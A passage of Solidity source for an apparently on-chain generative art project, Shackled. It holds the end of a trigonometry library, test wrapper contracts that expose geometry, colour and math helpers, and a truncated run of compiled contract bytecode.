bits (in bits) we want to extract. The result is an // integer containing _width bits of _value starting at the offset bit uint256 interp = (_angle >> INTERP_OFFSET) & ((1 << INTERP_WIDTH) - 1); uint256 index = (_angle >> INDEX_OFFSET) & ((1 << INDEX_WIDTH) - 1); // The lookup table only contains data for one quadrant (since sin is symmetric around both // axes), so here we figure out which quadrant we're in, then we lookup the values in the // table then modify values accordingly bool is_odd_quadrant = (_angle & QUADRANT_LOW_MASK) == 0; bool is_negative_quadrant = (_angle & QUADRANT_HIGH_MASK) != 0; if (!is_odd_quadrant) { index = SINE_TABLE_SIZE - 1 - index; } bytes memory table = sin_table; // We are looking for two consecutive indices in our lookup table // Since EVM is left aligned, to read n bytes of data from idx i, we must read from `i * data_len` + `n` // therefore, to read two entries of size entry_bytes `index * entry_bytes` + `entry_bytes * 2` uint256 offset1_2 = (index + 2) * entry_bytes; // This following snippet will function for any entry_bytes <= 15 uint256 x1_2; assembly { // mload will grab one word worth of bytes (32), as that is the minimum size in EVM x1_2 := mload(add(table, offset1_2)) } // We now read the last two numbers of size entry_bytes from x1_2 // in example: entry_bytes = 4; x1_2 = 0x00...12345678abcdefgh // therefore: entry_mask = 0xFFFFFFFF // 0x00...12345678abcdefgh >> 8*4 = 0x00...12345678 // 0x00...12345678 & 0xFFFFFFFF = 0x12345678 uint256 x1 = (x1_2 >> (8 * entry_bytes)) & entry_mask; // 0x00...12345678abcdefgh & 0xFFFFFFFF = 0xabcdefgh uint256 x2 = x1_2 & entry_mask; // Approximate angle by interpolating in the table, accounting for the quadrant uint256 approximation = ((x2 - x1) * interp) >> INTERP_WIDTH; int256 sine = is_odd_quadrant ? int256(x1) + int256(approximation) : int256(x2) - int256(approximation); if (is_negative_quadrant) { sine *= -1; } // Bring result from the range of -2,147,483,647 through 2,147,483,647 to -1e18 through 1e18. // This can never overflow because sine is bounded by the above values return (sine * 1e18) / 2_147_483_647; } } /** * @notice Return the cosine of a value, specified in radians scaled by 1e18 * @dev This is identical to the sin() method, and just computes the value by delegating to the * sin() method using the identity cos(x) = sin(x + pi/2) * @dev Overflow when `angle + PI_OVER_TWO > type(uint256).max` is ok, results are still accurate * @param _angle Angle to convert * @return Result scaled by 1e18 */ function cos(uint256 _angle) internal pure returns (int256) { unchecked { return sin(_angle + PI_OVER_TWO); } } } // SPDX-License-Identifier: UNLICENSED pragma solidity >=0.6.0; import "../contracts/ShackledGenesis.sol"; contract XShackledGenesis { constructor() {} function xgenerateGenesisPiece(bytes32 tokenHash) external view returns (ShackledStructs.RenderParams memory, ShackledStructs.Metadata memory) { return ShackledGenesis.generateGenesisPiece(tokenHash); } function xgenerateGeometryAndColors(bytes32 tokenHash,int256[3] calldata objPosition) external view returns (ShackledGenesis.FacesVertsCols memory, ColorUtils.ColScheme memory, GeomUtils.GeomSpec memory, GeomUtils.GeomVars memory) { return ShackledGenesis.generateGeometryAndColors(tokenHash,objPosition); } function xcreate2dTris(bytes32 tokenHash,GeomUtils.GeomSpec calldata geomSpec) external view returns (int256[3][3][] memory, int256[] memory, int256[] memory) { return ShackledGenesis.create2dTris(tokenHash,geomSpec); } function xprismify(bytes32 tokenHash,int256[3][3][] calldata tris,int256[] calldata zFronts,int256[] calldata zBacks) external view returns (GeomUtils.GeomVars memory) { return ShackledGenesis.prismify(tokenHash,tris,zFronts,zBacks); } function xmakeFacesVertsCols(bytes32 tokenHash,int256[3][3][] calldata tris,GeomUtils.GeomVars calldata geomVars,ColorUtils.ColScheme calldata scheme,int256[3] calldata objPosition) external view returns (ShackledGenesis.FacesVertsCols memory) { return ShackledGenesis.makeFacesVertsCols(tokenHash,tris,geomVars,scheme,objPosition); } } contract XColorUtils { constructor() {} function xgetColForPrism(bytes32 tokenHash,int256[3][3] calldata triFront,ColorUtils.SubScheme calldata subScheme,int256[3][2] calldata extents) external view returns (int256[3][6] memory) { return ColorUtils.getColForPrism(tokenHash,triFront,subScheme,extents); } function xgetSchemeId(bytes32 tokenHash,int256[2][10] calldata weightings) external view returns (uint256) { return ColorUtils.getSchemeId(tokenHash,weightings); } function xcopyColor(int256[3] calldata c) external view returns (int256[3] memory) { return ColorUtils.copyColor(c); } function xgetScheme(bytes32 tokenHash,int256[3][3][] calldata tris) external view returns (ColorUtils.ColScheme memory) { return ColorUtils.getScheme(tokenHash,tris); } function xhsv2rgb(int256 h,int256 s,int256 v) external view returns (int256[3] memory) { return ColorUtils.hsv2rgb(h,s,v); } function xrgb2hsv(int256 r,int256 g,int256 b) external view returns (int256[3] memory) { return ColorUtils.rgb2hsv(r,g,b); } function xgetJiggle(int256[3] calldata jiggle,bytes32 randomSeed,int256 seedModifier) external view returns (int256[3] memory) { return ColorUtils.getJiggle(jiggle,randomSeed,seedModifier); } function xinArray(uint256[] calldata array,uint256 value) external view returns (bool) { return ColorUtils.inArray(array,value); } function xapplyDirHelp(int256[3][3] calldata triFront,int256[3] calldata colA,int256[3] calldata colB,int256 dirCode,bool isInnerGradient,int256[3][2] calldata extents) external view returns (int256[3][3] memory) { return ColorUtils.applyDirHelp(triFront,colA,colB,dirCode,isInnerGradient,extents); } function xgetOrderedPointIdxsInDir(int256[3][3] calldata tri,int256 dirCode) external view returns (uint256[3] memory) { return ColorUtils.getOrderedPointIdxsInDir(tri,dirCode); } function xinterpColHelp(int256[3] calldata colA,int256[3] calldata colB,int256 low,int256 high,int256 val) external view returns (int256[3] memory) { return ColorUtils.interpColHelp(colA,colB,low,high,val); } function xgetHighlightPrismIdxs(int256[3][3][] calldata tris,bytes32 tokenHash,uint256 nHighlights,int256 varCode,int256 selCode) external view returns (uint256[] memory) { return ColorUtils.getHighlightPrismIdxs(tris,tokenHash,nHighlights,varCode,selCode); } function xgetSortedTrisIdxs(int256[3][3][] calldata tris,uint256 nHighlights,int256 varCode,int256 selCode) external view returns (uint256[] memory) { return ColorUtils.getSortedTrisIdxs(tris,nHighlights,varCode,selCode); } } contract XGeomUtils { constructor() {} function xgenerateSpec(bytes32 tokenHash) external view returns (GeomUtils.GeomSpec memory) { return GeomUtils.generateSpec(tokenHash); } function xmakeAdjacentTriangles(bytes32 tokenHash,uint256 attemptNum,uint256 refIdx,GeomUtils.TriVars calldata triVars,GeomUtils.GeomSpec calldata geomSpec,int256 overrideSideIdx,int256 overrideScale,int256 depth) external view returns (GeomUtils.TriVars memory) { return GeomUtils.makeAdjacentTriangles(tokenHash,attemptNum,refIdx,triVars,geomSpec,overrideSideIdx,overrideScale,depth); } function xmakeVerticallyOppositeTriangles(bytes32 tokenHash,uint256 attemptNum,uint256 refIdx,GeomUtils.TriVars calldata triVars,GeomUtils.GeomSpec calldata geomSpec,int256 overrideSideIdx,int256 overrideScale,int256 depth) external view returns (GeomUtils.TriVars memory) { return GeomUtils.makeVerticallyOppositeTriangles(tokenHash,attemptNum,refIdx,triVars,geomSpec,overrideSideIdx,overrideScale,depth); } function xmakeTriVertOpp(int256[3][3] calldata refTri,GeomUtils.GeomSpec calldata geomSpec,int256 sideIdx,int256 scale) external view returns (int256[3][3] memory) { return GeomUtils.makeTriVertOpp(refTri,geomSpec,sideIdx,scale); } function xmakeTriAdjacent(bytes32 tokenHash,GeomUtils.GeomSpec calldata geomSpec,uint256 attemptNum,int256[3][3] calldata refTri,int256 sideIdx,int256 scale,int256 depth) external view returns (int256[3][3] memory) { return GeomUtils.makeTriAdjacent(tokenHash,geomSpec,attemptNum,refTri,sideIdx,scale,depth); } function xmakeTri(int256[3] calldata centre,int256 radius,int256 angle) external view returns (int256[3][3] memory) { return GeomUtils.makeTri(centre,radius,angle); } function xvector3RotateX(int256[3] calldata v,int256 deg) external view returns (int256[3] memory) { return GeomUtils.vector3RotateX(v,deg); } function xvector3RotateY(int256[3] calldata v,int256 deg) external view returns (int256[3] memory) { return GeomUtils.vector3RotateY(v,deg); } function xvector3RotateZ(int256[3] calldata v,int256 deg) external view returns (int256[3] memory) { return GeomUtils.vector3RotateZ(v,deg); } function xtrigHelper(int256 deg) external view returns (int256, int256) { return GeomUtils.trigHelper(deg); } function xgetCenterVec(int256[3][3] calldata tri) external view returns (int256[3] memory) { return GeomUtils.getCenterVec(tri); } function xgetRadiusLen(int256[3][3] calldata tri) external view returns (int256) { return GeomUtils.getRadiusLen(tri); } function xgetSideLen(int256[3][3] calldata tri) external view returns (int256) { return GeomUtils.getSideLen(tri); } function xgetPerpLen(int256[3][3] calldata tri) external view returns (int256) { return GeomUtils.getPerpLen(tri); } function xisTriPointingUp(int256[3][3] calldata tri) external view returns (bool) { return GeomUtils.isTriPointingUp(tri); } function xareTrisClose(int256[3][3] calldata tri1,int256[3][3] calldata tri2) external view returns (bool) { return GeomUtils.areTrisClose(tri1,tri2); } function xareTrisPointsOverlapping(int256[3][3] calldata tri1,int256[3][3] calldata tri2) external view returns (bool) { return GeomUtils.areTrisPointsOverlapping(tri1,tri2); } function xisPointInTri(int256[3][3] calldata tri,int256[3] calldata p) external view returns (bool) { return GeomUtils.isPointInTri(tri,p); } function xisTriOverlappingWithTris(int256[3][3] calldata tri,int256[3][3][] calldata tris,uint256 nextTriIdx) external view returns (bool) { return GeomUtils.isTriOverlappingWithTris(tri,tris,nextTriIdx); } function xisPointCloseToLine(int256[3] calldata p,int256[3] calldata l1,int256[3] calldata l2) external view returns (bool) { return GeomUtils.isPointCloseToLine(p,l1,l2); } function xisTrisPointsCloseToLines(int256[3][3] calldata tri,int256[3][3][] calldata tris,uint256 nextTriIdx) external view returns (bool) { return GeomUtils.isTrisPointsCloseToLines(tri,tris,nextTriIdx); } function xisTriLegal(int256[3][3] calldata tri,int256[3][3][] calldata tris,uint256 nextTriIdx,int256 minTriRad) external view returns (bool) { return GeomUtils.isTriLegal(tri,tris,nextTriIdx,minTriRad); } function xattemptToAddTri(int256[3][3] calldata tri,bytes32 tokenHash,GeomUtils.TriVars calldata triVars,GeomUtils.GeomSpec calldata geomSpec) external view returns (bool) { return GeomUtils.attemptToAddTri(tri,tokenHash,triVars,geomSpec); } function xtriRotHelp(int256 axis,int256[3][3] calldata tri,int256 rot) external view returns (int256[3][3] memory) { return GeomUtils.triRotHelp(axis,tri,rot); } function xtriBfHelp(int256 axis,int256[3][3][] calldata trisBack,int256[3][3][] calldata trisFront,int256 rot) external view returns (int256[3][3][] memory, int256[3][3][] memory) { return GeomUtils.triBfHelp(axis,trisBack,trisFront,rot); } function xgetExtents(int256[3][3][] calldata tris) external view returns (int256[3][2] memory) { return GeomUtils.getExtents(tris); } function xcalculateZ(int256[3][3] calldata tri,bytes32 tokenHash,uint256 nextTriIdx,GeomUtils.GeomSpec calldata geomSpec,bool front) external view returns (int256) { return GeomUtils.calculateZ(tri,tokenHash,nextTriIdx,geomSpec,front); } function xgetSpecId(bytes32 tokenHash,int256[2][7] calldata weightings) external view returns (uint256) { return GeomUtils.getSpecId(tokenHash,weightings); } function xrandN(bytes32 randomSeed,string calldata seedModifier,int256 min,int256 max) external view returns (int256) { return GeomUtils.randN(randomSeed,seedModifier,min,max); } function xclipTrisToLength(int256[3][3][] calldata arr,uint256 desiredLen) external view returns (int256[3][3][] memory) { return GeomUtils.clipTrisToLength(arr,desiredLen); } function xclipZsToLength(int256[] calldata arr,uint256 desiredLen) external view returns (int256[] memory) { return GeomUtils.clipZsToLength(arr,desiredLen); } function xcopyTri(int256[3][3] calldata tri) external view returns (int256[3][3] memory) { return GeomUtils.copyTri(tri); } function xcopyTris(int256[3][3][] calldata tris) external view returns (int256[3][3][] memory) { return GeomUtils.copyTris(tris); } } // SPDX-License-Identifier: UNLICENSED pragma solidity >=0.6.0; import "../contracts/ShackledMath.sol"; contract XShackledMath { constructor() {} function xmin(int256 a,int256 b) external pure returns (int256) { return ShackledMath.min(a,b); } function xmax(int256 a,int256 b) external pure returns (int256) { return ShackledMath.max(a,b); } function xmod(int256 n,int256 m) external pure returns (int256) { return ShackledMath.mod(n,m); } function xrandomIdx(bytes32 seedModifier,uint256 n,uint256 m) external pure returns (uint256[] memory) { return ShackledMath.randomIdx(seedModifier,n,m); } function xget2dArray(uint256 m,uint256 q,int256 value) external pure returns (int256[][] memory) { return ShackledMath.get2dArray(m,q,value); } function xabs(int256 x) external pure returns (int256) { return ShackledMath.abs(x); } function xsqrt(int256 y) external pure returns (int256) { return ShackledMath.sqrt(y); } function xhypot(int256 x,int256 y) external pure returns (int256) { return ShackledMath.hypot(x,y); } function xvector3Add(int256[3] calldata v1,int256[3] calldata v2) external pure returns (int256[3] memory) { return ShackledMath.vector3Add(v1,v2); } function xvector3Sub(int256[3] calldata v1,int256[3] calldata v2) external pure returns (int256[3] memory) { return ShackledMath.vector3Sub(v1,v2); } function xvector3MulScalar(int256[3] calldata v,int256 a) external pure returns (int256[3] memory) { return ShackledMath.vector3MulScalar(v,a); } function xvector3DivScalar(int256[3] calldata v,int256 a) external pure returns (int256[3] memory) { return ShackledMath.vector3DivScalar(v,a); } function xvector3Len(int256[3] calldata v) external pure returns (int256) { return ShackledMath.vector3Len(v); } function xvector3NormX(int256[3] calldata v,int256 fidelity) external pure returns (int256[3] memory) { return ShackledMath.vector3NormX(v,fidelity); } function xvector3Dot(int256[3] calldata v1,int256[3] calldata v2) external view returns (int256) { return ShackledMath.vector3Dot(v1,v2); } function xcrossProduct(int256[3] calldata v1,int256[3] calldata v2) external pure returns (int256[3] memory) { return ShackledMath.crossProduct(v1,v2); } function xvector12Lerp(int256[12] calldata v1,int256[12] calldata v2,int256 ir,int256 scaleFactor) external view returns (int256[12] memory) { return ShackledMath.vector12Lerp(v1,v2,ir,scaleFactor); } function xvector12Sub(int256[12] calldata v1,int256[12] calldata v2) external view returns (int256[12] memory) { return ShackledMath.vector12Sub(v1,v2); } function xmapRangeToRange(int256 num,int256 inMin,int256 inMax,int256 outMin,int256 outMax) external pure returns (int256) { return ShackledMath.mapRangeToRange(num,inMin,inMax,outMin,outMax); } } // SPDX-License-Identifier: UNLICENSED pragma solidity >=0.6.0; import "../contracts/ShackledStructs.sol"; contract XShackledStructs { constructor() {} } // SPDX-License-Identifier: UNLICENSED pragma solidity >=0.6.0; import "../contracts/Trigonometry.sol"; contract XTrigonometry { constructor() {} function xsin(uint256 _angle) external pure returns (int256) { return Trigonometry.sin(_angle); } function xcos(uint256 _angle) external pure returns (int256) { return Trigonometry.cos(_angle); } }
0x73f30168b5983ea80007bf973b501cdd30b535a7de30146080604052600436106100355760003560e01c8063ff1ad4321461003a575b600080fd5b61004d6100483660046130cf565b610064565b60405161005b929190613345565b60405180910390f35b61006c612dc2565b6100a56040518060c001604052806060815260200160608152602001600081526020016060815260200160608152602001606081525090565b6001608083015260408051606080820183526000808352602083018190526109c3199383019390935284018190528190819081906100e490889061044f565b83518a52602080850151818c0152604080860151908c0152600160e08c0152820151939750919550935091506003141561012d576000610140870152600161010087015261018a565b605f61015e8860405180604001604052806009815260200168776972656672616d6560b81b8152506001606461062f565b1315610179576001610140870152600061010087015261018a565b600061014087015260016101008701525b8260200151600214806101a1575082602001516003145b806101b0575082602001516007145b806101bf575082602001516008145b156101d1576000610120870152610207565b60066101ff88604051806040016040528060068152602001651a5b9d995c9d60d21b8152506001600a61062f565b136101208701525b604051806040016040528084610100015181526020018461012001518152508660a00181905250604051806101200160405280600115158152602001600081526020016107d08152602001610bb88152602001600a81526020016040518060600160405280603119815260200160008152602001600081525081526020018460e0015181526020018460e0015181526020018460e001518152508660c0018190525082600001518560000181905250816000015185602001819052508061018001518560400181815250508161010001511561033c578161012001511561031157604080518082019091526008815267111a5859dbdb985b60c21b60208201526060860152610396565b60408051808201909152600a815269121bdc9a5e9bdb9d185b60b21b60208201526060860152610396565b816101200151156103705760408051808201909152600881526715995c9d1a58d85b60c21b60208201526060860152610396565b60408051808201909152600981526814d8d85d1d195c995960ba1b602082015260608601525b856101400151156103c957604080518082019091526007815266115b98589b195960ca1b602082015260808601526103ee565b604080518082019091526008815267111a5cd8589b195960c21b602082015260808601525b8561012001511561042157604080518082019091526007815266115b98589b195960ca1b602082015260a0860152610446565b604080518082019091526008815267111a5cd8589b195960c21b602082015260a08601525b50505050915091565b610457612e2e565b61045f612e64565b6104d0604051806101a00160405280606081526020016000815260200160008152602001600081526020016000815260200160008152602001600015158152602001600081526020016000151581526020016000151581526020016000815260200160008152602001600081525090565b6104d8612ed4565b604051630ea7febd60e01b81526004810187905273ba68ac57b2158f63e60c6a5b81396b98d5bf1dd390630ea7febd9060240160006040518083038186803b15801561052357600080fd5b505af4158015610537573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261055f9190810190613586565b91506000806000610570898661069a565b92509250925061058289848484610ba3565b604051632f16b98160e01b815290945073aac10023334448b65c94c32226e784b570d1d89f90632f16b981906105be908c9087906004016136f6565b60006040518083038186803b1580156105d657600080fd5b505af41580156105ea573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526106129190810190613812565b9550610621898486898c61117c565b965050505092959194509250565b6000826106516001826106428683613920565b61064c9190613961565b611c34565b86866040516020016106649291906139a0565b6040516020818303038152906040528051906020012060001c61068791906139dc565b6106919190613920565b95945050505050565b60608060606106a7612f48565b60608501516106b79060056139f0565b6106c2906002613a08565b6001600160401b038111156106d9576106d9613434565b60405190808252806020026020018201604052801561071257816020015b6106ff612f95565b8152602001906001900390816106f75790505b50602082015260608501516107289060056139f0565b610733906002613a08565b6001600160401b0381111561074a5761074a613434565b604051908082528060200260200182016040528015610773578160200160208202803683370190505b5060a082015260608501516107899060056139f0565b610794906002613a08565b6001600160401b038111156107ab576107ab613434565b6040519080825280602002602001820160405280156107d4578160200160208202803683370190505b5060c0820152604085015160009061081d57610816876040518060400160405280600481526020016373697a6560e01b81525088608001518960a0015161062f565b9050610824565b5060408501515b600061084f88604051806040016040528060038152602001621c9bdd60ea1b8152506000600161062f565b1561085b5760d261085e565b601e5b9050600061088a6040518060600160405280600081526020016000815260200160008152508484611c4c565b90508084602001516000815181106108a4576108a4613a27565b60200260200101819052506108c1818a86600001518b6000611ce0565b8460c001516000815181106108d8576108d8613a27565b6020026020010181815250506108f6818a86600001518b6001611ce0565b8460a0015160008151811061090d5761090d613a27565b6020026020010181815250508761012001511561092d5760008452610932565b600184525b60005b6096811015610b4157604051650e4cacc92c8f60d31b60208201526026810182905260009061098a908c90604601604051602081830303815290604052600060018a600001516109859190613961565b61062f565b6101408b015187516040516230b23560e91b6020820152602381018690526043810191909152919250906109d5908d906063016040516020818303038152906040526000606461062f565b13610a7d5773ba68ac57b2158f63e60c6a5b81396b98d5bf1dd363e0f2db068c84848a8f6000198060006040518963ffffffff1660e01b8152600401610a22989796959493929190613b22565b60006040518083038186803b158015610a3a57600080fd5b505af4158015610a4e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a769190810190613d61565b9550610b1c565b73ba68ac57b2158f63e60c6a5b81396b98d5bf1dd363b72344508c84848a8f6000198060006040518963ffffffff1660e01b8152600401610ac5989796959493929190613b22565b60006040518083038186803b158015610add57600080fd5b505af4158015610af1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610b199190810190613d61565b95505b60608a0151865110610b2e5750610b41565b5080610b3981613e5c565b915050610935565b50610b5484602001518560000151611e13565b602085015260c08401518451610b6a9190611e13565b60c085015260a08401518451610b809190611e13565b60a08501819052602085015160c090950151949a94995097509295505050505050565b610bab612ed4565b610bb3612ed4565b8451610180820152610bc485611e31565b6060820181905280515160209091015151610bdf9190613961565b60a082015260608101518051602090810151918101510151610c019190613961565b60c0820181905260a0820151610c1691611c34565b60e08201526107d061010082015260005b8551811015610d28576040518060600160405280610c87610c7d898581518110610c5357610c53613a27565b6020026020010151600060038110610c6d57610c6d613a27565b602002015186610100015161205e565b8560e0015161208a565b8152602001610cbe610c7d898581518110610ca457610ca4613a27565b6020026020010151600160038110610c6d57610c6d613a27565b8152602001610cf5610c7d898581518110610cdb57610cdb613a27565b6020026020010151600260038110610c6d57610c6d613a27565b815250868281518110610d0a57610d0a613a27565b60200260200101819052508080610d2090613e5c565b915050610c27565b50610d5386604051806040016040528060048152602001630e4dee8b60e31b8152506000600161062f565b15610d6757610d62600c613e77565b610d6a565b600c5b8152604080518082019091526004815263726f745960e01b6020820152610d969087906000600161062f565b15610daa57610da5600c613e77565b610dad565b600c5b816020018181525050610de086604051806040016040528060048152602001633937ba2d60e11b8152506000600161062f565b15610dec57601e610def565b60005b604082015260005b8551811015610e5957610e296002878381518110610e1757610e17613a27565b602002602001015184604001516120b6565b868281518110610e3b57610e3b613a27565b60200260200101819052508080610e5190613e5c565b915050610df7565b50610e6385612198565b610140820152610e7285612198565b61016082015260005b85518110156110d35760005b60038110156110c05760005b60038110156110ad578060021415610f7657868381518110610eb757610eb7613a27565b60200260200101518461016001518481518110610ed657610ed6613a27565b60200260200101518360038110610eef57610eef613a27565b60200201518260038110610f0557610f05613a27565b60200201528551869084908110610f1e57610f1e613a27565b60200260200101518461014001518481518110610f3d57610f3d613a27565b60200260200101518360038110610f5657610f56613a27565b60200201518260038110610f6c57610f6c613a27565b602002015261109b565b878381518110610f8857610f88613a27565b60200260200101518260038110610fa157610fa1613a27565b60200201518160038110610fb757610fb7613a27565b60200201518461016001518481518110610fd357610fd3613a27565b60200260200101518360038110610fec57610fec613a27565b6020020151826003811061100257611002613a27565b6020020152875188908490811061101b5761101b613a27565b6020026020010151826003811061103457611034613a27565b6020020151816003811061104a5761104a613a27565b6020020151846101400151848151811061106657611066613a27565b6020026020010151836003811061107f5761107f613a27565b6020020151826003811061109557611095613a27565b60200201525b806110a581613e5c565b915050610e93565b50806110b881613e5c565b915050610e87565b50806110cb81613e5c565b915050610e7b565b50604081015161112c576110f860008261014001518361016001518460000151612256565b61016083018190526101408301829052602083015161111b926001929091612256565b610160830152610140820152610691565b61114760018261014001518361016001518460200151612256565b610160830181905261014083018290528251611167926000929091612256565b61016083015261014082015295945050505050565b611184612e2e565b6000855160076111949190613a08565b9050806001600160401b038111156111ae576111ae613434565b6040519080825280602002602001820160405280156111e757816020015b6111d4612fc2565b8152602001906001900390816111cc5790505b50825285516111f7906006613a08565b6001600160401b0381111561120e5761120e613434565b60405190808252806020026020018201604052801561124757816020015b611234612fc2565b81526020019060019003908161122c5790505b506020830152855161125a906006613a08565b6001600160401b0381111561127157611271613434565b6040519080825280602002602001820160405280156112aa57816020015b611297612fc2565b81526020019060019003908161128f5790505b506040830152600060608301819052608080840182905260a08085019290925285015160c0860151918601516112e69289928b929091906123a8565b6101208601526101608501516000906112fe90611e31565b90506000611310876101400151611e31565b6040805160a0810182528251518551519394506000939192839290830191829160029161133c91613920565b6113469190613e94565b81528551602090810151885182015191909201916002916113679190613920565b6113719190613e94565b8152855160409081015188519091015160209092019160029161139391613920565b61139d9190613e94565b815250815260200160405180606001604052806002866001600281106113c5576113c5613a27565b602090810291909101515190890151516113df9190613920565b6113e99190613e94565b815260208681015181015188820151820151919092019160029161140d9190613920565b6114179190613e94565b815260200160028660016020020151600260200201518860016020020151600260200201516114469190613920565b6114509190613e94565b9052905280519091506114769061146f908360015b60200201516123f7565b600261208a565b608089018190526000906002602002015260005b8951811015611bb65761149b612fe0565b6101208a0151604051635decae1960e11b815260009173aac10023334448b65c94c32226e784b570d1d89f9163bbd95c32916114db918790600401613ec2565b60206040518083038186803b1580156114f357600080fd5b505af4158015611507573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152b9190613f0a565b61153957896040015161153f565b89606001515b905073aac10023334448b65c94c32226e784b570d1d89f632f4535138e8d6101600151868151811061157357611573613a27565b602002602001015184886040518563ffffffff1660e01b815260040161159c9493929190613f53565b6102406040518083038186803b1580156115b557600080fd5b505af41580156115c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ed9190613fe6565b915060005b600681101561165c5782816006811061160d5761160d613a27565b602002015189604001518a606001518151811061162c5761162c613a27565b60209081029190910101526060890180519061164782613e5c565b9052508061165481613e5c565b9150506115f2565b5060005b60038110156117875760405180606001604052808d6101400151868151811061168b5761168b613a27565b602002602001015183600381106116a4576116a4613a27565b60200201516000602002015181526020018d610140015186815181106116cc576116cc613a27565b602002602001015183600381106116e5576116e5613a27565b60200201516001602002015181526020018d6101400151868151811061170d5761170d613a27565b6020026020010151836003811061172657611726613a27565b60200201516040015161173890613e77565b905260208a015160808b01518151811061175457611754613a27565b602002602001018190525060018960800181815161177291906139f0565b9052508061177f81613e5c565b915050611660565b5060005b60038110156118b25760405180606001604052808d610160015186815181106117b6576117b6613a27565b602002602001015183600381106117cf576117cf613a27565b60200201516000602002015181526020018d610160015186815181106117f7576117f7613a27565b6020026020010151836003811061181057611810613a27565b60200201516001602002015181526020018d6101600151868151811061183857611838613a27565b6020026020010151836003811061185157611851613a27565b60200201516040015161186390613e77565b905260208a015160808b01518151811061187f5761187f613a27565b602002602001018190525060018960800181815161189d91906139f0565b905250806118aa81613e5c565b91505061178b565b5060006118c0846006613a08565b905060405180606001604052808260036118da91906139f0565b81526020016118ea8360046139f0565b81526020016118fa8360056139f0565b9052895160a08b01518151811061191357611913613a27565b6020026020010181905250604051806060016040528082600461193691906139f0565b81526020016119468360036139f0565b81526020016119568360006139f0565b9052895160a08b015161196a9060016139f0565b8151811061197a5761197a613a27565b6020026020010181905250604051806060016040528082600061199d91906139f0565b81526020016119ad8360016139f0565b81526020016119bd8360046139f0565b9052895160a08b01516119d19060026139f0565b815181106119e1576119e1613a27565b60200260200101819052506040518060600160405280826005611a0491906139f0565b8152602001611a148360046139f0565b8152602001611a248360016139f0565b9052895160a08b0151611a389060036139f0565b81518110611a4857611a48613a27565b60200260200101819052506040518060600160405280826001611a6b91906139f0565b8152602001611a7b8360026139f0565b8152602001611a8b8360056139f0565b9052895160a08b0151611a9f9060046139f0565b81518110611aaf57611aaf613a27565b60200260200101819052506040518060600160405280826002611ad291906139f0565b8152602001611ae28360006139f0565b8152602001611af28360036139f0565b9052895160a08b0151611b069060056139f0565b81518110611b1657611b16613a27565b60200260200101819052506040518060600160405280826003611b3991906139f0565b8152602001611b498360056139f0565b8152602001611b598360026139f0565b9052895160a08b0151611b6d9060066139f0565b81518110611b7d57611b7d613a27565b602002602001018190525060078960a001818151611b9b91906139f0565b905250839250611bae9150829050613e5c565b91505061148a565b5060005b856020015151811015611c2657611bf286602001518281518110611be057611be0613a27565b60200260200101518a6080015161242c565b86602001518281518110611c0857611c08613a27565b60200260200101819052508080611c1e90613e5c565b915050611bba565b505050505095945050505050565b6000818313611c435781611c45565b825b9392505050565b611c54612f95565b60408051606081018252848152600060208201819052918101829052905b6003811015611cd7576000611c88826078614064565b90506000611c9f84611c9a8885613920565b612461565b9050611cab88826123f7565b858460038110611cbd57611cbd613a27565b602002015250819050611ccf81613e5c565b915050611c72565b50509392505050565b6040516431b0b631ad60d91b6020820152602581018490526000908190819060450160405160208183030381529060405290508315611d9557846020015160061415611d2f5760019150611ddd565b6009611d3f88836000600a61062f565b1315611d6d576003611d5588836000600a61062f565b1315611d6457600a9150611ddd565b60169150611ddd565b6005611d7d88836000600a61062f565b1315611d8c5760089150611ddd565b60019150611ddd565b846020015160061415611dac576000199150611ddd565b846020015160051415611dd757611dc787826002601461062f565b611dd090613e77565b9150611ddd565b60011991505b846020015160051415611df857611df5600a83613920565b91505b60e0850151611e079083614064565b98975050505050505050565b60606000828451611e2491906140e9565b8451038452509192915050565b611e3961300d565b6001600160ff1b03600160ff1b8181818160005b88518110156120155760005b898281518110611e6b57611e6b613a27565b5050600381101561200257611eb7888b8481518110611e8c57611e8c613a27565b60200260200101518360038110611ea557611ea5613a27565b602002015160005b6020020151612523565b9750611efa878b8481518110611ecf57611ecf613a27565b60200260200101518360038110611ee857611ee8613a27565b602002015160005b6020020151611c34565b9650611f37868b8481518110611f1257611f12613a27565b60200260200101518360038110611f2b57611f2b613a27565b60200201516001611ead565b9550611f74858b8481518110611f4f57611f4f613a27565b60200260200101518360038110611f6857611f68613a27565b60200201516001611ef0565b9450611fb1848b8481518110611f8c57611f8c613a27565b60200260200101518360038110611fa557611fa5613a27565b60200201516002611ead565b9350611fee838b8481518110611fc957611fc9613a27565b60200260200101518360038110611fe257611fe2613a27565b60200201516002611ef0565b925080611ffa81613e5c565b915050611e59565b508061200d81613e5c565b915050611e4d565b506040805160a081018252808201978852606080820196909652608081019390935295825285519384018652938352602083810192909252938201929092529082015292915050565b612066612fc2565b81835102815281602084015102602082015281604084015102604082015292915050565b612092612fc2565b81835105815281602084015105602082015281604084015105604082015292915050565b6120be612f95565b8361210a576040805160608101909152806120e18560005b602002015185612532565b81526020016120f18560016120d6565b81526020016121018560026120d6565b90529050611c45565b8360011415612151576040805160608101909152806121318560005b602002015185612611565b8152602001612141856001612126565b8152602001612101856002612126565b8360021415611c45576040805160608101909152806121788560005b602002015185612461565b815260200161218885600161216d565b815260200161210185600261216d565b6060600082516001600160401b038111156121b5576121b5613434565b6040519080825280602002602001820160405280156121ee57816020015b6121db612f95565b8152602001906001900390816121d35790505b50905060005b835181101561224f5761221f84828151811061221257612212613a27565b60200260200101516126ea565b82828151811061223157612231613a27565b6020026020010181905250808061224790613e5c565b9150506121f4565b5092915050565b606080600085516001600160401b0381111561227457612274613434565b6040519080825280602002602001820160405280156122ad57816020015b61229a612f95565b8152602001906001900390816122925790505b509050600085516001600160401b038111156122cb576122cb613434565b60405190808252806020026020018201604052801561230457816020015b6122f1612f95565b8152602001906001900390816122e95790505b50905060005b875181101561239a576123378989838151811061232957612329613a27565b6020026020010151886120b6565b83828151811061234957612349613a27565b602002602001018190525061236a8988838151811061232957612329613a27565b82828151811061237c5761237c613a27565b6020026020010181905250808061239290613e5c565b91505061230a565b509097909650945050505050565b6060855184106123b95785516123bb565b835b9350816123e1576123da8585600189516123d591906140e9565b612773565b9050610691565b6123ed86858585612831565b96955050505050505